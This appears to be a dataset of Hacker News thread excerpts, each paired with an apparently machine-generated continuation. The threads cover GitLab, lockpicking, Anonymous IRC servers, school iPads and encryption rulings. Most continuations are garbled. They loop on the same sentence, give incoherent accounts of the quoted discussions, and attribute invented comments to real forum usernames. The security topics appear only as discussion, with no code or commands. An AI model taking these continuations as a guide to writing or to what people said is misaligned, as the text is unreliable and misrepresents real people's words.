[https://github.com/Tapha/Custom-\nHighlight](https://github.com/Tapha/Custom-Highlight) \\- A simple, open source\ntext highlighter that allows you to add custom functions to it. Like the\nMedium editor.\n\n------\ncoderKen\nHi,\n\nI was born and live in West-Africa, meaning epileptic power supply,\nexpensive/slow/sometimes unavailable internet connection.\n\nRight now I am a software developer with about 4 years in the game and yes I\nam self-taught like most people here, this was before things like Udacity and\nKhan academy. Google was my teacher. I believe you can see free online\nresources to learn how to program like I did, I've never used Udacity or any\nof those online learning sites, I read a lot and"} +{"output_text": " here: \n\nI'm really excited to get some feedback on the concept, and I'd love to hear\nwhat you guys think.\n\n~~~\njamesbritt\nI like the idea.\n\nI'm not sure I understand the \"asynchronous\" part.\n\nI'm not sure I understand the \"chat\" part.\n\nI'm not sure I understand the \"theory\" part.\n", "input_text": ". I mean, everyone here will get\nit, but not the mass market. I doubt that many AOL Chat users understand what\n\"asynchronous\" means. Don't delete the existing page... just make a slightly\nsimpler, shorter Theory page and relegate the existing text to a second-level\n\"Theory of the Theory\" page.\n\nOther than that... it's hard to know what to critique. Many of the essential\ndesign features of such a site will only become obvious when it's flooded with\ntraffic or overwhelmed by griefers. That's hard to test. Maybe you should\nstart a really _provocative_ conversation and then post a Digg link to it. ;)\n\n~~~\nbenjamincanfly\nThanks! In a way the signup process is my favorite thing about the site, since\nthere's no process required at all. I love it when I stumble upon a painless\nmethod of any kind.\n\nYou can post the link from your address bar, but the next step will be to make\neach tag and conversation a static URL which can be crawled by Google.\n\nThe theory page was basically written for the HN and reddit/r/programming\naudiences, because I wanted to get some serious feedback on the concept\nitself. In the next month or two everything will be made more palatable.\n\nThanks for the feedback.\n\n------\nbenjamincanfly\nHey guys! I've been building this app in my spare time. It's based on a simple\nidea I had over a year ago - somehow after all this time there still has not\nbeen a great web 2.0 chatting site to come into existence, so I've been\nsteadily working at it whenever I've had the chance.\n\nYou can read my whole spiel"} +{"output_text": " time.\n\n~~~\nkibwen\n> _Users don 't want all of the work pushed onto maintainers. Life needs to be\n> easy for maintainers too, because happy maintainers are how users get lots\n> of stuff to use in the first place. If you push all of the burden onto\n> package maintainers, you end up with a beautiful, brilliantly-lit grocery\n> store full of empty shelves. Shopping is a pleasure but there's", "input_text": " To be clear, this approach creates a bit more work for authors, but that\nwork is justified by delivering significant benefits to users._\n\nUsers don't want all of the work pushed onto maintainers. Life needs to be\neasy for maintainers too, because happy maintainers are how users get lots of\nstuff to use in the first place. If you push all of the burden onto package\nmaintainers, you end up with a beautiful, brilliantly-lit grocery store full\nof empty shelves. Shopping is a pleasure but there's nothing to buy because\nproducing is a chore.\n\nGood tools distribute the effort across both kinds of users. There's obviously\nsome amortization involved because a package is consumed more than it's\nmaintained, but I'm leery of any plan that deliberately makes life harder for\na class of users, without very clear positive benefit to others. Here, it\nseems like it makes it harder to ship breaking changes, without making\nanything else noticeably easier in return.\n\n _> They can't just decide to issue v2, walk away from v1, and leave users\nlike Ugo to deal with the fallout. But authors who do that are hurting their\nusers._\n\nAre they hurting users worse than not shipping v2 _at all_? My experience is\nthat users will prefer an imperfect solution over no solution when given the\nchoice. It may offend our purist sensibilities, but the reality is that lots\nof good applications add value to the world built on top of mediocre, half-\nmaintained libraries. Even the most beautiful, well-designed, robust packages\noften went through a period in their life where they were hacky, buggy, or\nhalf-abandoned.\n\nA good ecosystem enables packages to _grow_ into high quality over"} +{"output_text": " the Community Edition.\n\nI'm not sure if this is a good move.\n\n~~~\nsytse\nWe are working on performance improvements for the Community Edition.\n\n~~~\nzamalek\nI'm not sure if you're being serious or not. I'm not sure if you're being\nserious or not.\n\n~~~\nsytse\nWe are serious. We are working on performance improvements for the Community\nEdition.\n\n------\nj", "input_text": "ems to me they're the more active of the two. (See for yourself: go to both\nGithub repositories, hit 'insights' and check the past month.) Gitea was\napparently forked because they wanted more community driven development rather\nthan by one person.\n\n------\nsuper_trooper\nSo is GitLab the new GitHub for opensource?\n\n~~~\nduiker101\nWhy is BitBucket not being kept in consideration with this move?\n\n~~~\nnaikrovek\nI was wondering the same. I thought Atlassian had better rapport among devs\nthan GitLab.\n\n~~~\nsjm-lbm\nDoes Atlassian have better rapport with the businessy set that often makes\npurchasing decisions? Yes.\n\nBetter rapport with developers? Probably not.\n\n(and, FWIW, we use Bitbucket/Jira and honestly I'm fine with them - their\nupdates just tend to be full of the annoying things a bad PHB would love and\nlight on the things developers care about)\n\n~~~\nSanDimasFootbal\nNo sales people pushing the products makes it a little harder for it to be a\npush down from the businessy-set.\n\n------\nbenatkin\nMaybe they should change their Twitter bio. It leads with \"GitLab is open\nsource software\" but if they move many of the users of the Community Edition\nto GitLab Ultimate, they will stop feeling the pain points of the Community\nEdition and too many core features will be Enterprise-only, and the Community\nEdition will fall into disuse.\n\n------\nzamalek\nI like this. I just don't know if it's a smart idea. Some threads since the\nannouncement have complained about the performance of"} +{"output_text": " on\nbuilding products on it.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that the company was too small to have a vision.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\njoshu\nI guess I'm not sure what the point of this is.\n\n~~~\njoshu\nI guess I'm not sure what the point of this is.", "input_text": "-2015-03)\n\n~~~\nasmel\nCoderwall wasn't built on Assembly, it was owned by one of the Assembly co-\nfounders and they brought it onto the platform, but little work happened to it\nonce it was on the platform.\n\n \n \n It was a good system, really, and resulted in some \n pretty neat projects. That said, I'm not surprised \n to see it being shuttered. A while back they pivoted \n most of their tools [...]\n \n\nTheir platform was very good. The pivot only happened quite recently, it\nseemed like a last ditch attempt to build a product that could generate\ninterest rather than a mistake that caused the death of Assembly.\n\nMy take is that Assembly (the original platform) failed because for a project\n(being developed on the platform) to succeed it needs passionate people\nheavily invested in a vision for the project: the majority of projects created\non Assembly didn't have this, they had people who thought \"this is cool\" and\nwere willing to contribute an hour or 2, but they lacked passionate leaders.\n100 people who think \"this is cool\" aren't worth 1 that thinks \"this is the\nfuture, I'm putting everything I have into this\". Most projects on Assembly\neffectively limped from contributor to contributor.\n\nBuckets was a good example of a project being built on Assembly that had the\nchance to succeed because there was a lead developer who was driving it\nforward, he was very passionate, had a vision and invested a lot of his time\ninto it, and others were providing value even if they just dedicated an hour\nor so.\n\nAssembly (the company) probably would have had a better chance of succeeding\nif they had built the platform and then had their employees focused"} +{"output_text": " customize the appearance of the feed.\n\nI'm not sure what you're trying to do, but I think you're going to have a hard\ntime getting traction.\n\n~~~\narturadib\nThanks for the feedback. I'm not trying to compete with the existing RSS\nreaders. I'm trying to provide a better experience for the people who are\nalready using them.\n\n------\njasonlbaptiste\nI think you're going to have a hard", "input_text": " serious matter.\n\n~~~\ndanek\nmaybe the fbi thinks terrorists were communicating via blog comments, in a\nsecret code designed to look like spam? as far as'movie-plot terrorism' goes,\ni don't think it's too far fetched.\n\n~~~\nnaturalized\nDoes it mean that any site can be shut down if it's used by terrorists? Which\none is next: facebook, because terrorists can create a group there and send\nmessages, twitter, because a terrorist cell can use it to coordinate attacks,\nor perhaps wordpress? Which service will be shut down next?\n\n \n\nRate my startup: Feedlooks, a web-based RSS reader - arturadib\n\nDesigned this out of my own frustration with current web-based RSS readers:

As a blogger, I was wondering why I was spending my time working on the blog design if most feed readers would strip off the visuals anyway.

All I needed was a web app that would list new items since I last checked, and would show the actual web content in full visual glory once I clicked on an item. (Without opening a new tab).

Hence Feedlooks. The bet is that there is a chunk of the RSS reader market that feels a similar need.

I'm looking for ideas and suggestions on how to get traction, comments on the app itself, and possible business opportunities.

Thanks!

http://www.feedlooks.com\n======\ncrux\nWell, as a blog reader, I rather like the absence of bloggers' visual glory\nwhen I read my feeds. I'm interested in articles, not in someone else's design\nskills. Especially since, in most readers, I can set my own CSS preferences\nand thus"} +{"output_text": " else.\n\n------\njrockway\nI'm not sure I understand the ruling. The police have a warrant to search the\ncomputer, and they have a warrant to search the computer. The computer is\nlocked, so they can't just open it up and look around. So they get a warrant\nto open the computer, and then they get a warrant to search the computer.\n\nI guess the judge is saying that the police can't just get a warrant to search\n", "input_text": " him.\n\n~~~\ntedunangst\nI don't see the problem. People get convicted based on faulty evidence. The\nsad fact is it happens. [Yes, that is a problem, but...] Why is cryptography\nspecial?\n\n~~~\ngcb\nread the comment that started this thread.\n\nthe guy has a file that is pure garbage. not encrypted.\n\nthe law officers THINK it's encrypted. the judge orders him to give the key.\n...there's no key. it's honestly garbage data.\n\nThat's what make encryption special. It were a safe, the police could crack it\nopen somehow. with encryption, they can just claim it's too advanced to be\ncracked and that will be treated like you are lying.\n\n------\npavelkaroukin\nBTW, hackers, if you did not see it yet, check out what EncFs offer you.\nEssentially, it allows you to have multiple passwords on the same repository,\nand only files decryptable with currently used password are shown (require\nspecial option during mounting to ignore incorrect password warning).\n\nUsing that you can have any number of passwords and any number of \"partitions\"\ninside your folder. This is not like hidden partition in TrueCrypt, where you\ncan not prove it exists at all.\n\n------\nGroxx\nMakes sense.\n\nYes, dead-man switches and whatnot always come up with cases like this -\nthat's not really part of this ruling. This case includes: a) they have record\nof the defendant stating the information exists on the machine, which she\nstated she owns, and b) they have (a very good) reason to believe the drive\ncan be decrypted.\n\nAll of this strikes me more as a search warrant than anything"} +{"output_text": "\n\nI\u00b4m not a professional programmer, I\u00b4m a hobbyist, and I\u00b4m not trying to\ncreate a chess program, I\u00b4m trying to create a chess game. I\u00b4m not trying to\ncreate a chess engine, I\u00b4m trying to create a chess game. I\u00b4m not trying to\ncreate a chess engine, I\u00b4m trying to create a chess game. I\u00b4m not trying to\ncreate a chess engine, I\u00b4m trying", "input_text": "~~~\norblivion\nAt one point I remember he said it doesn't matter that we can't see the source\ncode running on remote computers because they're not rightfully in your\ncontrol. It's just something you're connecting to with something you do\ncontrol. You have the potential to check on your safety because you can see\neverything going in and out of your computer.\n\n------\narnoooooo\nRegarding open source, I think the point about security is not so much that\nyou will read the entire source yourself, but that the reading of the source\nis, like its writing, a collective enterprise. If there's a backdoor, somebody\nat some point will see it.\n\n------\nbreakyerself\nAren't there laws against companies making Backdoor like this? Not that I'm\nnaive enough to think that means it won't happen.\n\n------\nVMG\ntypo in headline\n\n~~~\nemillon\nFixed - thank you!\n\n \nChesSkelet: Micro Chess Game for ZX Spectrum in 365 Bytes - sohkamyung\nhttp://chesskelet.x10host.com/\n======\nreeagbo\nHi! the author here. I really dig your comments, including the criticisms. I\nsee some people even looking at the code. My current intention is to work on\nit a bit more. The version online is not the final one yet.\n\nFirst thing: maximum respect for earlier implementations, especially 70s and\n80s ones, which seem to me much more difficult to complete with the resources\nof that time. And for 1K programs like Toledo's, I\u00b4m fully aware it would\nsmash my code, but I\u00b4m not trying to do something playing well, you ave tons\nof good playing programs."} +{"output_text": ").\n\nI agree that the advice is pointless.\n\nI think the advice is good because it's a good way to get a sense of how long\nit takes to build something.\n\nI think the advice is bad because it's bad advice.\n\nI think the advice is good because it's good advice.\n\nI think the advice is bad because it's bad advice.\n\nI think the advice is good because it's good advice.\n\nI think the", "input_text": " any time I've thought of something\nthat could be done that readily, I've eventually found someone else that\nalready tried it (usually unsuccessfully). The successes I've had have come\nfrom long, hard slogs. May MeetButter meet better fortune.\n\n~~~\nadamthewan\nHey, Adam from MeetButter (the OP) here!\n\nI don't believe you can slap together something in 3 weeks and call it a day.\n\nWe did it to gather market sentiment and feedback for an idea, any signals or\nsigns to show that we were in the right direction.\n\nYour MVP is the start of a conversation with your users / target market.\nReiteration and pivoting your initial MVP based on user feedback will slowly\ninch you towards product-market fit. That is the long, hard slog.\n\nIn regards to building low-hanging fruits (hackathon timeframe ideas), some\nlow-hanging fruits have deeper roots. You might find deeper problems that give\nyou better insights on how to build something that people really want.\n\n------\npreommr\nThis is ironically good advice because its bad advice.\n\nThese kind of general statements about how an mvp should take x weeks are\npointless because each project is different. Which is an obvious statement. So\nis the suggestion that you should launch as fast as possible.\n\nLaunching quickly, failing, is a really good way of understanding time\nmanagement on a macro scale for an entire software project/startup.\n\nAnd its not just about pacing or knowing how long a feature should take to\ndevelop, but many many things like which feature to develop at which point\nbecause it might be much more difficult later on.\n\n~~~\nadamthewan\nHey, Adam from MeetButter here (OP"} +{"output_text": "ov\nI'm not making mines. I'm making a toy.\n\n~~~\ncam_l\nI'm not sure what you're trying to say.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe article is about a kid who found a toy that was a bomb.\n\nThe kid was not a terrorist.\n\nThe kid was not a terrorist because he found a toy that was a bomb.\n\nThe", "input_text": "My guess is that the question never comes up. If you're an adult thinking in\nterms of an abstract blueprint of a weapon, the thought of a child stumbling\non the dirt-strewn concrete implementation of your device is very far from\nyour mind, almost impossible to think of. The only way you would think of it\nis if someone pulls the possibility off a checklist built from cases like\nthis. Be honest: if you saw the picture in the article _without_ the\nsurrounding context to make you think about toys, how likely would you have\nbeen to think of them that way? To think that someone else would think of them\nas toys? I'm guessing it's low. My first visual impression was of dead bugs or\ncigars wrapped in leaves (which I'll grant might be just as tempting to a\nchild).\n\nNot that any of that makes it ok. I'm more convinced than ever that failure of\nimagination is a form of morally judgable (what's the right word here?)\nnegligence. But it would have been hard to see that far into the future in\nthis case.\n\n~~~\ncam_l\n>If you're an adult thinking in terms of an abstract blueprint of a weapon..\n\nYou are probably not making mines. I don't know. It makes perfect sense to me\nthe kind of mass murdering sociopath capable of working on such a device would\nfind it perfectly ok to target children.\n\nOnly one physicist quit the Manhattan project iirc. Maybe the indiscriminate\nnature of mass murder is not such an irksome burden for a weapons designer or\ndistributor. Maybe the people that find themselves in that line of work fully\nunderstand the risks but just don't care.\n\n~~~\ntoufiqbarham"} +{"output_text": "-oriented\ncity trap, too. They think of the car as the default mode of transportation,\nand they don't think of the alternatives.\n\n~~~\njseliger\n_I think people with cars in those cities often just don 't know what routes\nare walkable and which aren't and assume the worst._\n\nI think this is a big part of it. I've lived in a number of cities, and I\nthink that the most walkable cities are", "input_text": ". There was some great\ngraffiti art, lots of Mexican food available, etc. I found a good comic\nbookstore to get something for my daughter. Overall, it's a pretty nice walk.\n\n~~~\nsmelendez\nI've had similar experiences in other U.S. car-oriented cities, too. I have a\ndriver's license, but I've lived in big cities and literally haven't driven in\nyears and always walk or take transit anywhere I visit.\n\nI think people with cars in those cities often just don't know what routes are\nwalkable and which aren't and assume the worst. People do the same with \"the\nbus,\" I've found--I've been to many places where people who don't take public\ntransit and don't even know how much it costs or where the routes go assume\nthat it's dirty, unreliable, filled with criminals, etc.\n\nBut I'm probably doing the same with renting a car when I travel--\noveremphasizing the expenses and inconveniences and discomforts involved.\n\nOne problem I have had walking in various car-oriented cities is poor-to-\nnonexistent signage for pedestrians. A busy, curvy street might suddenly go\nfrom having sidewalks on one side to sidewalks only on one with no prior\nnotice pretty far from the last crosswalk, forcing you to backtrack half a\nlong block, walk on the shoulder of the road or jaywalk-sprint through\ntraffic. Or a complicated highway interchange running through the middle of a\ncity might be easily circumvented on foot, but there's no signs telling you\nhow to do it, leading to a lot of backtracking and meandering through no-\nman's-land.\n\nI think the transportation planners unfortunately fall into the car"} +{"output_text": " the confusion is the \"anarchy\" of the \"anarcho-capitalist\"\nmovement.\n\n~~~\nGoodIntentions\nI'm not sure I understand your point.\n\n~~~\ngcb\nI'm not sure I understand your sarcasm.\n\n~~~\nGoodIntentions\nI'm not sure I understand your sarcasm.\n\n~~~\ngcb\nI'm not sure I understand your sarcasm.\n\n------\njrockway\nI", "input_text": "! YES! That little snapping feeling. I still remember getting my first lock,\n:). I was on the phone with a friend and just raking the crap out of it until\nfinally _POP_.\n\nShe did not understand my excitement.\n\n \n\nThe hackers hacked: main Anonymous IRC servers seized - thornjm\nhttp://arstechnica.com/tech-policy/news/2011/05/the-hackers-hacked-main-anonymous-irc-servers-seized.ars\n\n======\njoshes\nThe tl;dr of it all is that, according to at least one Anon, this \"Ryan\"\nfellow was a former moderator of the IRC and was the legal owner of the\nAnonOps.ru and AnonOps.net domains. Apparently, two others, \"Nerdo\" and \"Owen\"\n(whom you may remember from the HBGary fiasco), revoked his IRC credentials.\nRyan somewhat predictably responded by DDOS'ing (with help from 808chan) and\nessentially taking his domains and going home. Some Anons responded by getting\n\"Ryan\"'s docs and now it's all just a bunch of circle jerking.\n\n~~~\ncitricsquid\nIt's as if you just described the entire \"Anonymous\" thing in one simple\nsentence fragment:\n\n> it's all just a bunch of circle jerking.\n\n------\nGoodIntentions\nReading that article brought to mind a sarcastic question I heard addressed\nfrom a skin to a young punk decades back:\n\n\"So who is in charge of this whole anarchy thing anyway?\"\n\n~~~\ngcb\nYou can only hear that from someone that still mix up anarchy with chaos.\n\na good example to end"} +{"output_text": "They are not the only one.\n\n~~~\nTaylorAlexander\nI\u2019m not sure I understand your point.\n\n~~~\nNicoJuicy\nI'm not sure I understand your point.\n\nSamsung spend 130 million on research on bendable phones.\n\nThey are not the only one.\n\n~~~\nTaylorAlexander\nI\u2019m not sure I understand your point.\n\nSamsung spend 130 million on research on bendable phones.\n\n", "input_text": ",959\n\n5\\. Oracle | 2.09% | $52,312\n\n6\\. Redis | 1.92% | $51,728\n\nMore stats and details here\n[https://jobsquery.it/stats/databases/group](https://jobsquery.it/stats/databases/group)\n\n~~~\nnetcraft\nnot sure if it was intended, but the article is discussing MSSQL not MYSQL. I\nthink MYSQL has a popularity advantage over PGSQL because of a long tail of\nhistorical reasons, but this is just my opinion.\n\n~~~\ncollyw\nIts a bit like PHP, its easy to install and get started compared to PG (I need\nto look up the docs every time I do a PG install to get the initial users\nstarted - Mysql often offers me that from the OS package manager).\n\n \nAs China Hacked, U.S. Businesses Turned a Blind Eye - derchu\nhttps://www.npr.org/2019/04/12/711779130/as-china-hacked-u-s-businesses-turned-a-blind-eye\n======\nwatertom\nForget about the hacking.\n\nU.S. business walked into China and handed over all of their technology and\nIntellectual Property, just to have it used against them by the Chinese\ngovernment. China has only resorted to hacking lately in order to get more\ntechnology and IP.\n\n~~~\nTaylorAlexander\nAnd I think that\u2019s a good thing. Intellectual Property is harmful to most and\nonly benefits a few. If we abandoned the notion we\u2019d be better off.\n\n~~~\nNicoJuicy\nSamsung spend 130 million on research on bendable phones.\n\n"} +{"output_text": " the future of the internet\nand it's still a mess.\n\n~~~\naiscott\nI think it's a little more complicated than that.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted", "input_text": "\ntill 2003.) It is so ingrained in my Web habits that I have the feeling it\nexisted already in the 90s.\n\n~~~\nJamesLeonis\nYou hit the nail on the head! I thought of some other things that would have\nfloored me 10-15 years ago.\n\n* Ask yourself what you used to search before Google? In fact, remember Web Rings?\n\n* How did you share pictures before Facebook, Myspace, or Flickr?\n\n* How about the holy grail of watching videos online before Youtube (Otherwise known as the dark ages of Real Player)?\n\n* Remember when you had to print out Mapquest directions to somebody's house? God forbid you missed a turn! When was the last time you consulted a paper map other than for fun?\n\n* How did you deal with the mountains of spam before Gmail, or any other industrial strength spam filter?\n\n* How about getting the internet on your cell phone?\n\n* When was the last time you had to pay for WiFi? Granted there are some holdouts, like airports, but WiFi is practically everywhere. If you can get into a Starbucks you have access, for free, to the internet.\n\n* How about downloading a 10mb file in less than an hour? God help you if the connection was interrupted...\n\nThe things we do today are astounding in both the scope of their capabilities\nand how much we take them for granted.\n\n------\naiscott\nI think this is pretty neat in retrospect, but it seems to me it didn't do\nAtari much good.\n\nMakes me wonder if all these \"Vision of the Future\" videos that companies put\nout now are equally as pointless.\n\n~~~\nandrewfelix\nI often think the same thing. Microsoft predicted"} +{"output_text": " or what?\n\n~~~\njamesbritt\n\"college also teaches the life skills needed to succeed\"\n\nWhoa. Is this subtle or what?\n\n~~~\nneilk\nI think it's a subtle way of saying that college teaches you how to be a\nsuccessful adult.\n\n------\njamesbritt\n\"The most important thing I learned in college was how to get a job.\"\n\nI'm not sure I agree.\n\n", "input_text": " hold true from college, but a large majority of\nthe technologies, techniques, etc are no longer relevant.\n\n~~~\namputect\nThis would be true if you got a degree in FORTRAN or Java 1.5 (and if you did,\nthen that's a bummer!) instead of Computer Science. The vast majority of\nthings I learned with a computer science degree are language-agnostic, and the\nonly reason we used any language at all was because pseudocode is hard to\ncompile.\n\n~~~\ncyang08\nAgreed. For me, it was a big shift at first transitioning from a more\nvocational mindset (learning the language/framework of the day) to the\ntheoretical (design patterns, paradigms, architecture).\n\nAs an aside, just got through Martin Fowler's musing on architecture\n(). Highly recommended!\n\n------\nollidorn\nAs a med student, never in my life have I had the slightest provocation to\nconsider dropping out of school to pursue a startup. I know that I am\nextremely unfamiliar with the complexity of the choices involved, but having\nread this piece I'd be shocked if any prospective entrepreneurs were not\nstrongly persuaded to take this man's advice. This is wisdom without the\nostentatiousness of a NYT opinion.\n\n~~~\nmichaelfdeberry\nThere are different risk dynamics between someone that is studying medicine\nand someone studying computer science. The major one being that if you drop\nout while studying CS you could still likely get a job as developer if you are\nable to prove you are capable.\n\n------\nneilk\n\"college also teaches the life skills needed to succeed\"\n\nWhoa. Is this subtle"} +{"output_text": " themselves evolve.\n\n------\njrockway\nI don't think this is a problem. I think it's a problem that the school\ndistrict is trying to solve with technology.\n\nI think the solution is to teach kids to use technology. I think the\ntechnology should be open, but the kids should be taught how to use it.\n\nI think the problem is that the school district is trying to solve a problem\nthat doesn't exist.\n\n------\nj", "input_text": " why they do not just switch to a whitelist, or why they even bother\nwith Internet access at all.\n\nEven if the censorship were limited, I cannot see how it would be justified.\nSuppose only hardcore pornography were blocked -- how is that acceptable?\nWould it not be better to punish students caught watching pornography at\nschool by having them write a lengthy essay about the history and politics of\npornography (and wouldn't the ability access at least one pornography website\nbe necessary?)? If the goal is _education_ shouldn't the focus be on\n_educating_, rather than on trying to shield students from the world?\nConsider the flip side of this: as a kid I was once sent to a summer program\nfor programming, and one of the other students was caught installing back\norifice on the computers. His punishment was to explain the software to\neveryone, along with the ethics of installing it without permission.\n\n------\nma_mazmaz\nThis is certainly not an issue with iPads, specifically. Students probably\nspend more time using computers for entertainment and social networking than\nthey do for school, but that doesn't stop teachers from taking their students\nto computer labs to type essays. Just because something can be used for fun,\ndoesn't mean that it has a place in schooling. Moreover, students very\ncommonly get around the very weak security procedures in place, which, more\noften than not, prevent students from doing legitimate school work, rather\nthan preventing abuse.\n\n------\nTrezoid\nHonestly, I'm a little surprised they weren't all completely open by lunchtime\nthe first day. Kids, when given access to technology in a school environment\nwill _always_ find new ways to (primarily) play games, and those ways will\nevolve as the schools"} +{"output_text": "\n\nI also agree with this part, \"The solution is to make sure that the\nenvironment is not hostile to the expression of different viewpoints.\"\n\nI also agree with this part, \"The solution is to make sure that the\nenvironment is not hostile to the expression of different viewpoints.\"\n\nI also agree with this part, \"The solution is to make sure that the\nenvironment is not hostile to the expression of different viewpoints.\"\n\nI also agree with this", "input_text": " from comments like these, on the main page: \"My white\nmale sons are now 30 and 28. I\u2019m so happy they escaped public high school\nrelatively unscathed, but I could see the beginnings of the nonsense, led by a\nfaculty of activist females and male eunuchs. Public schooling in this country\nmay have begun with noble intent; kids are now truly being inculcated rather\nthan educated.\" and \"You state this like it is an article of faith that women\nwould be totally rad in STEM if only men would stop holding them back. What\nmakes this \u201csketchy\u201d? There is an abundance of evidence that men and women are\ndifferent and think differently. There is almost no evidence that women will\nchange that position based on upbringing.\" and then on hnews itself:\n\"#KillAll(White)Men is literally calling for ethnic / gender purging.\" (though\nit was downvoted).\n\nIt would be great to have a conversation with Dr. Haidt, but I was turned off\nby how both Heterodox and Hacker News turned into \"amen\" forums. There were\ntwo students who posted on Heterodox, and they had some interesting points,\nsome of which disagreed with Dr. Haidt.\n\n~~~\nhenshao\nThe commentators are self selecting - if they strongly agree, they comment,\nwhich they have. You're still trying to dismiss the article based on people\nhaving opinions different than yours, rather than critiquing the article\nitself.\n\n~~~\nccernaf\nWould you agree with me in saying that the comments are at least\ndisappointing?\n\nIn terms of the article itself, I agreed with this part, \"High schools and\ncolleges that lack viewpoint diversity should make it their top priority\""} +{"output_text": " you're using\nDark Reader, you're probably using a browser that doesn't support the\nbackground-color property.\n\n~~~\njordigh\nI'm using Firefox, and I don't see any background-color property.\n\n~~~\nMrManatee\nI'm using Firefox, and I don't see any background-color property.\n\n------\njordigh\nI'm not sure if this is a bug or not, but the text on the \"About", "input_text": " seems to render it fine\n\n~~~\n52-6F-62\n73.0.1 on mac reporting\u2014it's almost perfect but the eyes are flawed. There's\nsome ghosting\n[https://i.imgur.com/r9kycp8.png](https://i.imgur.com/r9kycp8.png)\n\n------\ndusted\nCool pictures! Well done! That's quite a feat indeed!\n\nNot being a fan of CSS, I think this (the CSS source code) shows fairly well\nwhy I'm not a fan of CSS.\n\nSure, doing things like this is not what CSS is meant for.\n\nCSS is meant for making HTML do things it wasn't meant for.\n\n------\nDiabloD3\nSome of these do not seem to render correctly on Firefox. Seems to rely on\nChrome-specific behavior.\n\n~~~\nJosephRedfern\nSame here: [https://i.imgur.com/M07sFus.png](https://i.imgur.com/M07sFus.png).\nFF72 (just realised I'm a bit out of date).\n\n~~~\ngnulinux\nFF73 on OSX, I see the same result as that image.\n\n------\nSharparam\nViewing this page with Dark Reader enabled makes for quite a harrowing\nexperience...\n\n[https://i.imgur.com/AUTXPfW.png](https://i.imgur.com/AUTXPfW.png)\n\n~~~\njordigh\n:-(\n\nEveryone forgets that white is not the default background colour. There is no\ndefault background colour!\n\n~~~\nMrManatee\nSome forget. This page explicitly sets the background white. If"} +{"output_text": " crapware.\n\n~~~\njoshstrange\nI'm not sure if you're being sarcastic or not but I've never seen a Windows\n10 machine that didn't have some sort of crapware. I've seen a lot of people\ncomplaining about it but I've never seen a Windows 10 machine that didn't have\nsome sort of crapware.\n\n~~~\ndharma1\nI'm not being sarcastic, I've seen a lot of people complaining about", "input_text": "person interview, except this time with the\nroles reversed. I asked them to walk me through their products and platforms\nso I could better understand what I would be working on. Ten minutes in, I\nrealized what I was looking at. I treaded water until the end of the interview\nand called them a few days later to decline the offer.\n\nThe [engineering] team was solid, the tech was intriguing (a lot of expressjs\nmicroservices and interesting design patterns), and the offices were great.\nBut given the wealth of compelling opportunities for javascript engineers, I\ncouldn't come up with a good reason to work on something so insipid and\nmanipulative. This article is strangely validating, perhaps in a schadenfreude\nkind of way.\n\n~~~\nkragen\nGood for you. If more people were like you, companies like 50onRed wouldn't\nexist.\n\nI think you may have meant \"insidious\", though, not \"insipid\" \u2014 because\n\"insipid\" is the opposite of \"intriguing\" and \"compelling\".\n\n~~~\nalanh\nI think it works. The 'problem' 50onRed is'solving' is not an intriguing or\ncompelling one.\n\n------\nBradyDale\nWorth noting that the reporter on this story is a beat reporter who has been\ncovering the Philadelphia tech scene closely for years now. She knows it like\nno one else.\n\n~~~\nkmano8\nAgreed- Juliana is top-shelf.\n\n------\ndharma1\nI had no idea there is a such a large industry doing this type of stuff until\nbuilding a Windows 10 machine recently for VR. So many \"free\", seemingly\nkosher apps seem to install sneaky"} +{"output_text": " number of support tickets?\n\n~~~\njoshuahedlund\nI'm not sure what you mean by \"evidence of this\". I'm not sure what you mean\nby \"support taking into account the pricing, total customers and the number of\nsupport tickets\".\n\nI'm not sure what you mean by \"has anyone even actually released any sort of\nstatistical analysis of price points and support taking into account the\npricing, total customers and the number of support tickets?\"", "input_text": " support incidents\nper month. I've taken the liberty of scaling them to X, where X represents the\nnumber for the highest publicly available account plan.\n\n~~~\nibotty\nyou are certainly right with your scale, but i guess zobzu's point is, that\nyour non-support costs (say: development) is mostly paid by your 9$ and 29$\ncustomers (in absolute terms).\n\nso you cannot just get rid of every customer but your high paying ones.\n\n~~~\njoshuahedlund\nGood point. Of course it's possible that 7X is a cost that cancels out the\nrevenue from those customers, in which case it would be better not to offer\nthe option, but as long as it's not, it's still profitable to offer the plan.\nDepending on the ratios, the cheap customer bracket could even be more\nprofitable (in absolute terms, as you say). You just have to build the extra\nsupport cost into your pricing.\n\n$9 customer - $5 support = $4 per many customers\n\n$199 customer - $1 support = $198 per few customers\n\n------\ncitricsquid\nI share the view, however:\n\n> So it\u2019s not that cheap people require more support. It\u2019s that people who\n> require more support are more likely to make their decision based on price\n> alone.\n\nWhat evidence is there of this? Surely if you have a plan for $10, $50 and\n$100 you're going to have more customers at the $10 price point simply because\nit's so cheap and therefore more support will go to people at that price\npoint. Has anyone even actually released any sort of statistical analysis of\nprice points and support taking into account the pricing, total customers and\nthe"} +{"output_text": "ing, and\nmaintaining a power source is a pain.\n\n~~~\nproee\nI agree, but I think the problem is that the lock is not designed to be\nreplaced. It's a one-time use device.\n\n~~~\nshabble\nI think the problem is that the lock is not designed to be replaced.\n\nI think the problem is that the lock is not designed to be replaced.\n\n------\njrockway\nI'm", "input_text": "/competitive_lockpicking_growing_in_us_popularity/?page=full\n======\ndjacobs\nOne of the more striking points of this article (for me) was not so much about\nlockpicking. It was this statement:\n\n\"Some lockpickers observe a code of responsible disclosure by providing\nmanufacturers information on weaknesses they discover in locks they defeat --\n_just like responsible computer hackers do when they detect security flaws in\nsoftware_.\"\n\nI'm thrilled to see a statement like this coming from the mainstream media.\n\n~~~\nbaddox\nYeah, and both types of responsible whistleblowers probably end up getting\narrested.\n\n------\nproee\nI'm surprised there are not more digitally controlled locks on the market -\nsomething that has an embedded microcontroller that releases a solenoid if the\nright code is entered.\n\nWhat's a locksmith hacker to do with such a lock? There's no keyhole to use a\ndiamond pick and so its basically a metal brick. I don't see too many ways to\nopen it without destroying it physically.\n\nMaybe I'm missing the big picture, but a traditional keyed lock seems about as\nhigh-tech as an ancient model-T car. It's completely out of place given the\nlatest technology available today.\n\n~~~\nshabble\nThe big problem with digital and electronic locks in general is maintaining\nthe power source. Mechanical locks have extremely low maintenance\nrequirements, and could be left unattended for months or years without issue.\nEven if they then 